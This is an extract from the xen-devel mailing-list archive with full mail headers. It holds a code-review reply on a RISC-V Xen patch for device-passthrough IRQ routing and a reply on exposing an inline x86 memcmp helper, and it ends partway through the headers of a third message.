Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wewGD-0002eM-DO
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 14:49:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wewGC-00BKFF-QW
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 16:49:56 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a452907-2eae-0a2a0a5409dd-0a2a450ce92a-28
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 16:49:56 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a452914-f399-0a2a450c0019-d155dd34ed8a-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 16:49:56 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-47231f1f8f3so939119f8f.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 07:49:56 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477db8a4a09sm369712f8f.13.2026.07.01.07.49.55
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 07:49:55 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782917396; x=1783522196; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=BhomrUxY6p8P6yVy0jlqXNfKQuZ1YGtwLW+fYV1vUCM=;
        b=OTt87HKBGdi413QIBNhjj1PSweJ3BO2mOFNoJVzUKW8dag58W17dEtKqsT9o4FnXh+
         f87n5tktzFlTl+eEcKuvyXvcF/Es0A7xnqi85eNRqEaUfSNDazu4vMoezudsbd5uu1Cz
         g9vY7kyHON46XmlCHbcK2cmmeX8PBQGGCgR9qgTT7WTTI9Ko2rxsPW7aujkg5QvrFF3f
         9oZX+srKf3I+pGXeIncTp3vNioK4fEm5BC7Ad+YgV3E19KwVD/POY/RcAGySoIi09Qae
         jjSO9IPyXfB3jYXhmWhM6nihPCvnP3/1++MNi+oLs2XwcqpPi2NodEPLJKcuiNLarf2a
         9e9Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782917396; x=1783522196;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=BhomrUxY6p8P6yVy0jlqXNfKQuZ1YGtwLW+fYV1vUCM=;
        b=VoK4Qs1S5RjkgBMRzDbPYmGPjJUkb5lJcGs2XUIw2QrdJd72yPsZszioiMUiBd01/J
         4beevRNrq20B/6daDC8yX61N3j26EeLUiXOrbwRxayDfcgwSIkiApvkqG2/tgRj6rblG
         VvOw/8Vkaxti4YAhWFPHY8wLf6J9eH9xMm+M38zuAEWGQKNZHqyO1TEkTyGHlKHoRjvw
         QZFgAHIGVwMzaZuure25KwvxhTfeP7+C9vOwQ7Jm0v2OvIXmGhuSZanWIrwM7Ftxdmdw
         qIRFA1zj/clVo1ykBS6hPxN3Refw1gwT+ewk3yZZkZV3fZbY/2mreIGWPIkX2738QAC2
         mPUw==
X-Forwarded-Encrypted: i=1; AHgh+RrwOYRAAqUNd7vzghMj08q9QFNt/QD2AUr6tyjXfj8cqNBLcqfXtE79jQ8x8iGAHHDNpC2a7tKK8E0=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwaVSe0K1QZacKlT5vioNwz3dtbMimKqoI6HHxDI7T6pYs7dRov
	e3ticokTeZgWqVcj0masZaxu8kV/TiLkuzyGBdVv+Vy+Kb6TDHQPdF5X
X-Gm-Gg: AfdE7cl/pwvk6M9HHiDjKqFMlAoaPXJHsAOCmQ3f6x47KdgS4ATjRSi6JtVywTSL3QO
	cn405PlpPlAJbxQF162SEF8RAvD0UkoKNzwtPNaW7zNT8kvaAHFpllNOAcR0KurLGhgdb29/nRG
	A4cjAh/nMPtIDRQ1g/4JCjFJ7o3sUqGlWJTPXXC15U0BwSka0a2ZPlok+c0eAz2eZJ8tjr37GqM
	ijcu4W8Fe4vhyJEAqUB8MuxDuckmGpNUQzwO7ZiSRALwA7ci0+7c7/+bVI1cXyOABF1s8FuJ1VC
	h5SmAspOcwqfuNH6eo9Q1lAJkcWy3Utkp5jizNu4D35qms83algAUNggA5qoQwCbQ3WD6D0dNj9
	B7UE6d/Dnatf1v+1ysiCIWvskQO39Svhc3kmX7o6xu/F7vH+P6D8+carx0b1GV5rITx7TlO/2BY
	HkrnzOMbhLC09QKHDY4C/OEkzEy5t02ZDZBO9pxyQqfZfwcPH4ICBuDLiac6e2+2WOKO0=
X-Received: by 2002:a05:6000:4a09:b0:46f:3046:2bf1 with SMTP id ffacd0b85a97d-477b3982ce5mr1395687f8f.13.1782917395894;
        Wed, 01 Jul 2026 07:49:55 -0700 (PDT)
Message-ID: <6aafbeb5-2f33-49f4-9d14-937b0bc4d15d@gmail.com>
Date: Wed, 1 Jul 2026 16:49:54 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 21/25] xen/riscv: implement IRQ routing for device
 passthrough
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <472a77604d35a0bc2a75b71f250fd67b63afde4c.1782487661.git.oleksii.kurochko@gmail.com>
 <ac1a3a08-dc39-4794-ba96-dab4b88c27a3@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <ac1a3a08-dc39-4794-ba96-dab4b88c27a3@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1782917396-0D329D51-F8B1046D/10/73395122804
X-purgate-type: spam
X-purgate-size: 10845



On 6/29/26 5:55 PM, Jan Beulich wrote:
> On 26.06.2026 17:46, Oleksii Kurochko wrote:
>> dom0less device passthrough requires granting guest domains access to
>> device interrupts.  Introduce map_device_irqs_to_domain() to enumerate
>> a DT node's interrupt properties, skipping those not owned by
>> the primary interrupt controller (as at the moment I haven't seen usages
>> of it), and map_irq_to_domain() to grant domain access and configure
>> Xen's interrupt descriptor accordingly. Sharing IRQ between domains is
>> rejected.
>>
>> Both map_irq_to_domain() and map_device_irqs_to_domain() are marked
>> __overlay_init, mirroring Arm: without CONFIG_OVERLAY_DTB this expands to
>> __init, so the functions are init-only and need no XSM check; with
>> CONFIG_OVERLAY_DTB they become runtime-callable, but the only runtime
>> entry point is dt_overlay_domctl(), which performs the XSM checks at the
>> domctl layer.  RISC-V does not wire up DT overlay yet, so today these are
>> strictly __init; if/when overlay support is added, the domctl-level XSM
>> gating must be added together with it, as on Arm.
>>
>> route_irq_to_guest() and release_irq() manage irq_desc ownership for
>> guest-assigned interrupts.  Each assignment carries a small irq_guest
>> structure as irqaction::dev_id, recording the owning domain and virtual
>> IRQ number which is 1:1 mapped to physical IRQ number.  A per-domain
>> vIRQ allocation bitmap (used_irqs in struct vintc), managed by
>> vintc_reserve_virq(), prevents the same vIRQ being claimed twice.
>>
>> Host and guest interrupts may differ in some operations (EOI timing in
>> particular, possibly others): a host IRQ is completed once Xen's handler
>> runs, whereas a passthrough IRQ must defer the physical completion until
>> the guest issues its own EOI, otherwise a still-asserted level line would
>> immediately retrigger and storm.  This affects only the .end callback;
>> the rest of hw_interrupt_type is shared, hence the separate host and
>> guest hw_interrupt_type instances.
>>
>> With APLIC+IMSIC, guest interrupts are delivered directly by hardware
>> through the IMSIC, bypassing do_IRQ(). The _IRQ_GUEST branch in
>> do_IRQ() is therefore left as BUG() until a platform without direct
>> IMSIC delivery is encountered.
> 
> And this is secure, i.e. one guest (by mishandling things, e.g. simply
> never claiming / servicing an interrupt) cannot affect another guest?

It will be just affect this specific interrupt which isn't claimed/serviced.

> 
>> +int __overlay_init map_device_irqs_to_domain(struct domain *d,
>> +                                             struct dt_device_node *dev,
>> +                                             bool need_mapping,
>> +                                             struct rangeset *irq_ranges)
>> +{
>> +    unsigned int i, nirq = dt_number_of_irq(dev);
>> +
>> +    if ( irq_ranges )
>> +        return -EOPNOTSUPP;
>> +
>> +    /* Give permission and map IRQs */
>> +    for ( i = 0; i < nirq; i++ )
>> +    {
>> +        int res, irq;
>> +        struct dt_raw_irq rirq;
>> +
>> +        res = dt_device_get_raw_irq(dev, i, &rirq);
>> +        if ( res )
>> +        {
>> +            printk(XENLOG_ERR "Unable to retrieve irq %u for %s\n",
>> +                   i, dt_node_full_name(dev));
>> +            return res;
>> +        }
>> +
>> +        /*
>> +         * Don't map IRQs that have no physical meaning
>> +         * ie: IRQs whose controller is not APLIC/IMSIC/PLIC.
>> +         */
>> +        if ( rirq.controller != dt_interrupt_controller )
>> +        {
>> +            dt_dprintk("irq %u not connected to primary controller."
>> +                       "Connected to %s\n", i,
> 
> Nit: By splitting a format string like this, you pretty effectively hide
> that there's a blank missing after the full stop.
> 
> Further after an already wrapped function argument there shouldn't follow
> another one, to maintain visual clarity.

I would be okay to have a format string a little bit long. I would 
change that line to (if you are okay with that):
   ...("irq %u not connected to primary controller. Connected to %s\n",
       i, dt_node_full_name(rirq.controller));

> 
>> @@ -101,12 +119,28 @@ int domain_vintc_init(struct domain *d)
>>           break;
>>       }
>>   
>> +    if ( !ret )
>> +    {
>> +        d->arch.vintc->used_irqs =
>> +            xvzalloc_array(unsigned long, BITS_TO_LONGS(d->arch.vintc->nr_virqs));
> 
> Nit: Overlong line.
> 

I will reformat that in the following way:
         d->arch.vintc->used_irqs =
             xvzalloc_array(unsigned long,
                            BITS_TO_LONGS(d->arch.vintc->nr_virqs));

>> +        if ( !d->arch.vintc->used_irqs )
>> +            ret = -ENOMEM;
>> +    }
>> +
>>       return ret;
>>   }
>>   
>>   void domain_vintc_deinit(struct domain *d)
>>   {
>>       const enum intc_variant variant = intc_hw_ops->info->hw_variant;
>> +    unsigned int virq;
>> +
>> +    if ( !d->arch.vintc )
>> +        return;
> 
> Seeing this and ...
> 
>> +    for ( virq = 0; virq < d->arch.vintc->nr_virqs; virq++ )
>> +        if ( test_bit(virq, d->arch.vintc->used_irqs) )
>> +            release_guest_irq(d, virq);
>>   
>>       switch ( variant )
>>       {
>> @@ -117,4 +151,14 @@ void domain_vintc_deinit(struct domain *d)
>>       default:
>>           break;
>>       }
>> +
>> +    XVFREE(d->arch.vintc->used_irqs);
> 
> ... this, ...
> 
>> +}
> 
> ... where is d->arch.vintc being freed? That would logically look to
> belong into this function.

Right, it is an issue: d->arch.vintc is being NULLed inside 
domain_vaplic_deinit(), which are called from domain_vintc_deinit(), so 
XVFREE(d->arch.vintc->used_irqs) must be moved to just after the for() 
loop (before the switch).

As for d->arch.vintc itself, it should only be NULLed and not freed, 
since it is a pointer to &vaplic->vintc which is embedded in the vaplic 
struct and not separately allocated.

> 
>> --- a/xen/arch/riscv/irq.c
>> +++ b/xen/arch/riscv/irq.c
>> @@ -12,11 +12,20 @@
>>   #include <xen/errno.h>
>>   #include <xen/init.h>
>>   #include <xen/irq.h>
>> +#include <xen/sched.h>
>>   #include <xen/spinlock.h>
>> +#include <xen/xvmalloc.h>
>>   
>>   #include <asm/hardirq.h>
>>   #include <asm/intc.h>
>>   
>> +/* Describe an IRQ assigned to a guest */
>> +struct irq_guest
>> +{
>> +    struct domain *d;
>> +    unsigned int virq;
>> +};
>> +
>>   static irq_desc_t irq_desc[NR_IRQS];
>>   
>>   static bool irq_validate_new_type(unsigned int curr, unsigned int new)
>> @@ -192,6 +201,15 @@ void do_IRQ(struct cpu_user_regs *regs, unsigned int irq)
>>       if ( desc->handler->ack )
>>           desc->handler->ack(desc);
>>   
>> +    if ( desc->status & IRQ_GUEST )
>> +        /*
>> +         * As at the moment APLIC + IMSIC is used for guest interrupts will
>> +         * be directly passed to guest. But if/when IMSIC won't be available
>> +         * all interrupts will go through Xenand here an irq injection
>> +         * will be necessary to do.
>> +         */
>> +        panic("unimplemented");
> 
> The first comment sentence doesn't parse for me. In the 2nd there's a blank
> missing between "Xen" and "and".

I will rephrase it for clarity:

/*
  * With APLIC + IMSIC, guest interrupts bypass Xen and are delivered
  * directly to the guest. Without IMSIC, interrupts would be trapped
  * by Xen and would need injecting into the guest here.
  */

It looks more clearer to me.


> 
>> @@ -221,3 +239,215 @@ void do_IRQ(struct cpu_user_regs *regs, unsigned int irq)
>>       spin_unlock(&desc->lock);
>>       irq_exit();
>>   }
>> +
>> +static inline struct irq_guest *irq_get_guest_info(struct irq_desc *desc)
>> +{
>> +    ASSERT(spin_is_locked(&desc->lock));
>> +    ASSERT(test_bit(_IRQ_GUEST, &desc->status));
>> +    ASSERT(desc->action != NULL);
>> +
>> +    return desc->action->dev_id;
>> +}
>> +
>> +static inline struct domain *irq_get_domain(struct irq_desc *desc)
>> +{
>> +    return irq_get_guest_info(desc)->d;
>> +}
> 
> Does this really need a separate helper? (You effectively open-code it
> anyway in release_guest_irq().)

Considering that I used irq_get_domain() once at all (even in 
downstream) I will drop that.

> 
> For both functions: "inline" generally wants limiting to header files.

Regarding inline I think that I don't understand, it isn't in the header 
file as irq_get_guest_info() is used only in this file.

Do I understand you correctly and it is needed just to drop "inline" for
irq_get_guest_info()?

> 
>> +int release_guest_irq(struct domain *d, unsigned int virq)
>> +{
>> +    struct irq_desc *desc = irq_to_desc(virq);
>> +    struct irq_guest *info;
>> +    unsigned long flags;
>> +
>> +    spin_lock_irqsave(&desc->lock, flags);
>> +
>> +    if ( !test_bit(_IRQ_GUEST, &desc->status) )
>> +        goto unlock_err;
>> +
>> +    info = irq_get_guest_info(desc);
>> +    if ( d != info->d )
>> +        goto unlock_err;
>> +
>> +    /*
>> +     * Live IRQ unrouting from a running domain is not supported: the tear-down
>> +     * drops desc->lock across release_irq()/xvfree() and relies on no
>> +     * concurrent route_irq_to_guest() being issued for this domain. Only permit
>> +     * it for a dying domain, where assignment is frozen and no new routes can
>> +     * appear.
>> +     */
>> +    if ( !d->is_dying )
>> +    {
>> +        spin_unlock_irqrestore(&desc->lock, flags);
>> +        return -EBUSY;
>> +    }
> 
> Yet route_irq_to_guest() looks to happily act on dying guests. IOW assignment
> doesn't look to be frozen, despite the comment saying so.

Right, it is needed to add:
     if ( d->is_dying )
         return -EINVAL;
at the top of route_irq_to_guest().


> 
>> +    /*
>> +     * Clear _IRQ_GUEST while still holding the lock so that a concurrent
>> +     * release_guest_irq() for the same IRQ observes it and bails out, rather
>> +     * than capturing the same 'info' and double-freeing it below.
>> +     */
>> +    clear_bit(_IRQ_GUEST, &desc->status);
> 
> You use __set_bit() / __clear_bit() elsewhere - why not here?

As it is under spinlock it could __clear_bit here.

> 
>> +    spin_unlock_irqrestore(&desc->lock, flags);
>> +
>> +    release_irq(desc->irq, info);
>> +    xvfree(info);
> 
> If, in release_irq(), action isn't freed, it's ->dev_id field will now have
> a dangling pointer. (I think I did point this out before.)

It should freed in release_irq() as route_irq_to_guest() always set 
action->free_on_release = true;

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 14:59:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 14:59:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350095.1607671 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewP0-0004pt-Kh; Wed, 01 Jul 2026 14:59:02 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350095.1607671; Wed, 01 Jul 2026 14:59:02 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewP0-0004pm-HU; Wed, 01 Jul 2026 14:59:02 +0000
Received: by outflank-mailman (input) for mailman id 1350095;
 Wed, 01 Jul 2026 14:59:01 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wewOy-0004p4-Mb
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 14:59:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wewOx-009Bxm-I3
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 16:58:59 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a452b2d-e002-0a2a0a5209dd-0a2a450a99f4-2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 16:58:58 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a452b31-e40e-0a2a450a0019-d561b338a1fe-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 16:58:58 +0200
Received: from maestria.local.igalia.com ([192.168.10.14] helo=mail.igalia.com)
 by fanzine2.igalia.com with esmtps 
 (Cipher TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wewOT-007byj-B1; Wed, 01 Jul 2026 16:58:29 +0200
Received: from webmail.service.igalia.com ([192.168.21.45])
 by mail.igalia.com with esmtp (Exim)
 id 1wewOQ-00841m-SR; Wed, 01 Jul 2026 16:58:29 +0200
Received: from localhost ([127.0.0.1] helo=webmail.igalia.com)
 by webmail.service.igalia.com with esmtp (Exim 4.98.2)
 (envelope-from <mfo@igalia.com>) id 1wewOQ-0000000DnWw-2mEJ;
 Wed, 01 Jul 2026 16:58:26 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Content-Transfer-Encoding:Content-Type:Message-ID:References:In-Reply-To:Subject:Cc:To:From:Date:MIME-Version"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Content-Transfer-Encoding:Content-Type:Message-ID:References:
	In-Reply-To:Subject:Cc:To:From:Date:MIME-Version:Sender:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Id:List-Help:List-Unsubscribe:List-Subscribe:
	List-Post:List-Owner:List-Archive;
	bh=BZbTYczaqR+mc0JSoafl6QcdAzR5SvJPdrKk020zPEg=; b=PVy1HSQLMkQpFi7ZTp853RG96b
	F2mF12VBmD1hT/zcrqto++UkCFfRWhhxRJ8mlk5lnCU1HMZ9w9MSTXUCDJJxTL464QIi5fLKqe53P
	hQWAUxmAxLJKfvrZoGTRDyyvP0Rz5BFSu1uRa4rGqFFLGyMdIYEk7QE359FXCSzpWrixldz1LYPsG
	Y6ug4IkBhv1nKfxHNt62cYIL3DC+ySS+M8Sq49/nhmGYCeVMGwLqvXJO9VzNJxjdKVEV9fSEu+CMe
	VFT9FcR4vkE9tQI3/rsi9C/rCdhcT6wDhaKgo+P6UC5pznSJ6pe1cata4EyIIgqE+hM58kzVi9uOw
	PC7GOjjQ==;
MIME-Version: 1.0
Date: Wed, 01 Jul 2026 11:58:26 -0300
From: Mauricio Faria de Oliveira <mfo@igalia.com>
To: Peter Zijlstra <peterz@infradead.org>, Borislav Petkov <bp@alien8.de>
Cc: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Dave
 Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, "H. Peter Anvin"
 <hpa@zytor.com>, Juergen Gross <jgross@suse.com>, Alexey Dobriyan
 <adobriyan@gmail.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>,
 kernel-dev@igalia.com, linux-kernel@vger.kernel.org,
 xen-devel@lists.xenproject.org
Subject: Re: [PATCH RESEND v5 1/3] x86/asm, x86/boot: expose inline memcmp
In-Reply-To: <20260701070531.GK48970@noisy.programming.kicks-ass.net>
References: <20260630-pvh-kasan-inline-v5-0-52afc979be81@igalia.com>
 <20260630-pvh-kasan-inline-v5-1-52afc979be81@igalia.com>
 <20260701070531.GK48970@noisy.programming.kicks-ass.net>
Message-ID: <a433b566c26191283da0506cc6781e45@igalia.com>
X-Sender: mfo@igalia.com
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Spam-Report: NO, Score=-2.2, Tests=ALL_TRUSTED=-3,BAYES_50=0.8,URIBL_BLOCKED=0.001
X-Spam-Score: -21
X-Spam-Bar: --
X-purgate-ID: tlsNG-4011c0/1782917938-D5129DDE-38EB2725/0/0
X-purgate-type: clean
X-purgate-size: 3568

On 2026-07-01 04:05, Peter Zijlstra wrote:
> On Tue, Jun 30, 2026 at 02:21:46PM -0300, Mauricio Faria de Oliveira wrote:
>> Move the inline memcmp function currently only available in 'boot/string.c'
>> into the shared string function header <asm/shared/string.h> to be reused.
>> 
>> This is not done through <asm/string.h> to avoid pulling unnecessary code
>> in 'boot/string.c' that causes build errors in 'boot/compressed/string.c'
>> and 'purgatory/purgatory.ro'.
>> 
>> Note that the inline memcmp() returns 0/1, not -1/0/1 as regular memcmp()
>> (reported by David Laight <david.laight.linux@gmail.com>).
>> 
>> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
>> ---
>>  arch/x86/boot/string.c               |  6 ++----
>>  arch/x86/include/asm/shared/string.h | 16 ++++++++++++++++
>>  arch/x86/include/asm/string.h        |  1 +
>>  3 files changed, 19 insertions(+), 4 deletions(-)
>> 
>> diff --git a/arch/x86/boot/string.c b/arch/x86/boot/string.c
>> index ac0f900ebc47efa81c92e1bb2010ea41677899c4..be454a6864225f3a972c3e81826b77ed4e8a57fe 100644
>> --- a/arch/x86/boot/string.c
>> +++ b/arch/x86/boot/string.c
>> @@ -15,6 +15,7 @@
>>  #include <linux/errno.h>
>>  #include <linux/limits.h>
>>  #include <asm/asm.h>
>> +#include <asm/shared/string.h>
>>  #include "ctype.h"
>>  #include "string.h"
>>  
>> @@ -31,10 +32,7 @@
>>  
>>  int memcmp(const void *s1, const void *s2, size_t len)
>>  {
>> -	bool diff;
>> -	asm("repe cmpsb"
>> -	    : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
>> -	return diff;
>> +	return __inline_memcmp(s1, s2, len);
>>  }
>>  
>>  /*
>> diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
>> new file mode 100644
>> index 0000000000000000000000000000000000000000..422952152f533ad75b98f3873297b39c4f5e2477
>> --- /dev/null
>> +++ b/arch/x86/include/asm/shared/string.h
>> @@ -0,0 +1,16 @@
>> +/* SPDX-License-Identifier: GPL-2.0 */
>> +#ifndef _ASM_X86_SHARED_STRING_H
>> +#define _ASM_X86_SHARED_STRING_H
>> +
>> +/* Note: this memcmp() returns 0/1, not -1/0/1 as regular memcmp(). */
>> +static __always_inline int __inline_memcmp(const void *s1, const void *s2, size_t len)
>> +{
>> +	bool diff;
>> +
>> +	asm("repe cmpsb"
>> +	    : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
>> +
>> +	return diff;
>> +}
>> +
>> +#endif /* _ASM_X86_SHARED_STRING_H */
>> diff --git a/arch/x86/include/asm/string.h b/arch/x86/include/asm/string.h
>> index 9cb5aae7fba9ffcf0f5af8f939d30467750ccaa9..f0f4fd8227bf992e78c69209efb31f0a9a0cc3b1 100644
>> --- a/arch/x86/include/asm/string.h
>> +++ b/arch/x86/include/asm/string.h
>> @@ -7,6 +7,7 @@
>>  #else
>>  # include <asm/string_64.h>
>>  #endif
>> +#include <asm/shared/string.h>
>>  
>>  static __always_inline void *__inline_memcpy(void *to, const void *from, size_t len)
>>  {
> 
> It seems weird to have __inline_mem{cpy,set}() in a different header than
> __inline_memcmp(). I'm assuming this is because boot cannot include the
> normal string thing?
> 
> Perhaps make inline_string.h or somesuch to carry all three of them and
> include that from the relevant places?

Thanks for looking into this.

Yes, your question and suggestion above are essentially patch 1 in v4
[1].

Borislav Petkov requested a clean header in arch/x86/include/asm/shared/
for this (without other code), which is patch 1 in v5.

cheers,

[1]
https://lore.kernel.org/all/20260526-pvh-kasan-inline-v4-1-a310e6a25ecd@igalia.com/

-- 
Mauricio


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 15:21:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 15:21:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350117.1607691 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewkh-0001rd-IT; Wed, 01 Jul 2026 15:21:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350117.1607691; Wed, 01 Jul 2026 15:21:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wewkh-0001rV-EA; Wed, 01 Jul 2026 15:21:27 +0000
Received: by outflank-mailman (input) for mailman id 1350117;
 Wed, 01 Jul 2026 15:21:26 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wewkf-0001qs-Ub
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 15:21:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wewkf-004tW0-BG
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 17:21:25 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a45305d-e002-0a2a0a5209dd-0a2a4501cb5a-44
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 17:21:25 +0200
Received: from [209.85.218.54] (helo=mail-ej1-f54.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a453075-400f-0a2a45010019-d155da36ed42-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 17:21:25 +0200
Received: by mail-ej1-f54.google.com with SMTP id
 a640c23a62f3a-c12758e75afso140455166b.1
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 08:21:25 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c1288d1efdcsm294023766b.5.2026.07.01.08.21.24
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 08:21:24 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
